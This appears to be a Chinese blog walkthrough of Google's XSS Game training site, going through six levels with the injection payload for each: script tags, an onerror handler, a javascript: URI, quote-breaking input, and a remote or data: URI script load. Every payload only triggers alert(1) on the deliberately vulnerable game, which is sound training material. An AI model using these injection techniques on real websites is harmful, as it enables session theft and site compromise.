1. 程式人生 > >谷歌XSS小遊戲通關手記(完結)

谷歌XSS小遊戲通關手記(完結)

0x00:Google XSS Game

玩樂地址:https://xss-game.appspot.com/

谷歌知識庫:https://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-00

Github地址:https://gist.github.com/pbssubhash/2f99644a4f24e8fe6b3e

線上url編碼解碼(地址一):http://tool.oschina.net/encode?type=4

線上utl編碼解碼(地址二):http://www.ofmonkey.com/tools/encode

這裡寫圖片描述


0x01:未過濾的字串輸入

愚蠢的程式設計師不會對來自使用者的輸入進行適當的轉譯,這便為黑客執行某些特定的網路指令碼奠定了基調。你可以操作存在漏洞的窗體或直接在輸入欄輸入特定的惡意url以之行你想要的JavaScript指令碼。

這裡寫圖片描述

簡單測試,發現url的格式滿足以下公式

url = https://xss-game.appspot.com/level1/frame?query=$你的輸入

這裡寫圖片描述

在搜尋欄輸入

<script>alert(1);</script>

這裡寫圖片描述


0x02:服務端儲存漏洞

這次想要簡單的直接alert彈窗是不行了,如果你還那樣輸入甚至沒有任何回顯。因為資料是儲存在遠端伺服器上,所以你的注入程式碼不可能立即執行。

這裡寫圖片描述

檢視網頁原始碼,我們在使用者欄位輸入的文字被外部標籤<blockquote>標籤包裹。

這裡寫圖片描述

考慮到資料是永久儲存在對方伺服器上的,所以可以這樣輸入:

<img src="test.png" onerror="javascript:alert(1);"/>

然後重新整理網頁,不出意外於是彈了個窗。

這裡寫圖片描述


0x03:隱藏的未過濾欄位

觀察所給網頁,是三張圖片,分別代表三個不同的url連結。看懂了,實際上就是用#後面跟的數字用來區分不同的圖片。關於井號及其後面跟的東西記住兩點:1. 用來定位網頁的特定位置、2. 僅針對瀏覽器,對服務端請求不造成影響。這次沒有搜尋欄了,你只能在位址列上做文章。

這裡寫圖片描述

這裡寫圖片描述

這裡寫圖片描述

檢視網頁的原始碼,發現圖片的載入實際上是由window.location.hash決定的。它決定包括#號和它後面跟的東西。

這裡寫圖片描述

知道了程式碼的執行機理後,使用下面的注入進行繞過。(替換#後面跟的東西)

'><script>alert(1);</script>

於是彈窗,也不難。

這裡寫圖片描述


0x04:就近原則繞過檢查

首先分析網頁主體元素,當在輸入欄輸入某個秒數後,觀察url的變化。

這裡寫圖片描述

嘗試你最擅長的alert彈窗,再次觀看url位址列的變化。位址列直接輸出了,但是奇怪的是下面的計時器指令碼仍然被執行了,想到應該是設定了預設值。

這裡寫圖片描述

檢視網頁原始碼,看名識程式碼,這個函式和計時器息息相關。看到了確實有個預設值等於3秒,這就是之前直接alert彈窗失敗的原因。

這裡寫圖片描述

然而我們在輸入欄輸入

'   # 這是一個套路,玩XSS的都知道

相應的網頁位址列如圖所示。事實上這導致了一個無限迴圈。同樣的原理,輸入1')也會導致無限迴圈,你可以動手試一試。

這裡寫圖片描述

這時候再次檢視原始碼,恍然大悟。看我的截圖,你就明白為什麼了。首先是'繞過字串,而)則用來繞過函式呼叫。

這裡寫圖片描述

這次我們輸入120秒,接著分析網頁原始碼的悄然變化。

這裡寫圖片描述

明白了吧?關鍵就在每次你的輸入被""套在裡面,直接執行彈窗程式碼當然是不存在的啦!而輸入1')其中的括號網頁原始碼中的前面括號形成匹配,它和'一樣,是不被轉譯的,這很重要。因為如果輸入

1:)

雖然:不是數字,但是它會被轉譯為%3A,於是最後得到的數字還是1秒……好,轉譯就轉譯。我一點都不怕呀。

1');alert('1

事實上輸入上面的程式碼也就搞定啦,但是如果你不放心也可以用線上編碼工具進行編碼後再進行注入,但是在這裡完全是多此一舉。這種方法我稱之為就近原則,因為網頁在解析時總是試圖匹配""()這樣的玩應兒。我還是留個心眼兒。

這裡寫圖片描述


0x05:逃脫過濾字元

這次的標籤有點騷,“我有漏洞”,它明擺著告訴你呢。對好鬥的你這分明是一種挑釁,看來不給你點顏色看看時不行了。

這裡寫圖片描述

點選註冊按鈕,進入另一個網頁。

這裡寫圖片描述

用來註冊的程式碼框架如下。

這裡寫圖片描述

這裡一個比較敏感的標籤名曰<a>(超連結標籤),為了當用戶點選相應按鈕時可以跳轉到新的頁面(執行某個JavaScript),用到了這樣的程式碼結構:

<a href='javascript:doSomething()'>...</a>

執行權首先落在doSomething()函式,若存在返回值則將返回值返給超連結進行合成。這樣的便利催生了下面的注入程式碼:首先在位址列輸入注入程式碼接著敲回車鍵,這會更改其預設url地址,然後在輸入欄再寫一遍注入程式碼並回車即可。

javascript:alert(1);

注入成功。

這裡寫圖片描述


0x06:針對動態JavaScript載入

有時候,特別是一些較為高階的網路應用,會根據使用者輸入決定採取的網頁行為,比如載入某個特定的圖片,執行某個特定的程式等。注意到url位址列的字尾是js,說明這是一個JavaScript指令碼檔案(以網頁的形式被呈現出來)。

這裡寫圖片描述

沒有頭緒?試著把#號後面的字串替換為www.baidu.comgoogle.com/jsapi?callback=foo,你會驚喜的發現載入的玩意變了。

這裡寫圖片描述

這裡寫圖片描述

這就太好辦了。即然它說要載入,那就讓你載入個寶貝。首先寫一個最簡單的一句話JavaScript指令碼aa.js

alert(1);

放到/var/www/html/目錄下面,接著開啟Kali自帶的apache2伺服器。現在你的檔案對目標網站是可見的了,至少說是可被載入的了。把下面的注入字串寫到#號後面實現程式碼注入。

HTTP:127.0.0.1/aa.js

注入成功。這裡注意的是,跟在#後面的HTTP必須大寫,否則在#後面要先寫一個空格,這是規範。這種方法適用於HTTP,如果是HTTPS則要自己寫一個臨時的HTTPS伺服器,此處略。

這裡寫圖片描述

當然最簡單的方法是這樣寫:

data:text/javascript,alert(1);

至於怎麼實現的,自己想吧!

這裡寫圖片描述